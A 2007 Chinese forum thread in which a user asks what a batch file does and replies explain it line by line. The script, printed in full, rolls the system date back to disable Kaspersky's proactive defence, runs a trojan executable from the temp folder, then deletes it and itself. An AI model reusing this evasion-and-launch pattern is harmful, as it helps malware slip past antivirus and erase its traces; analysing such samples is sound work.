Board logo

标题: 请帮忙翻译一个 BAT 文件 [打印本页]

作者: wuyin     时间: 2007-11-30 16:01    标题: 请帮忙翻译一个 BAT 文件

@echo off                                               \\下面运行不可见\\
setlocal enableextensions                             \\在本批处理中启用命令扩展\\
set last_date=%date:~0,10%
date 1985-10-24
echo WScript.Sleep 1000 > %systemroot%/temp/lxxy.vbs
set /a i = 10
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %systemroot%/temp/lxxy.vbs
goto Timeout                                                \\回到 Timeout  行\\
:Next                                                             \\下一行
%systemroot%/temp/lxxy.exe                      \\运行程序 lxxy.exe\\
date %last_date%         
date %last_date%
del c:\lxxy.exe /f/s/q/a
del %0

我只知道头两句的准确意思 ,后面的就不知道,谁能给详细解释下,
谢谢
作者: lxmxn     时间: 2007-11-30 16:08


  Quote:
@echo off                                               \\下面运行不可见\\
setlocal enableextensions                             \\在本批处理中启用命令扩展\\
set last_date=%date:~0,10% \\将当前日期(变量%date%前10个字符)赋值给last_date
date 1985-10-24 \\修改当前日期
echo WScript.Sleep 1000 > %systemroot%/temp/lxxy.vbs \\写内容到文件
set /a i = 10 \\变量i初始化
:Timeout \\设置标签
if %i% == 0 goto Next \\如果i的值为0,跳转到Next标签
setlocal
set /a i = %i% - 1 \\变量i的值减一
cscript //nologo %systemroot%/temp/lxxy.vbs \\调用vbs脚本
goto Timeout                                                \\回到 Timeout  行\\
:Next                                                             \\下一行
%systemroot%/temp/lxxy.exe                      \\运行程序 lxxy.exe\\
date %last_date%          \\恢复日期
del c:\lxxy.exe /f/s/q/a \\删除C盘下所有的lxxy.exe文件
del %0 \\自灭


作者: zerocq     时间: 2007-11-30 16:50
先记录当前时间,然后把日期修改成1985-10-24

接着循环10次,每次等待1秒,循环完毕正好延时10秒.卡巴斯基的主动防御失效

运行木马注入进程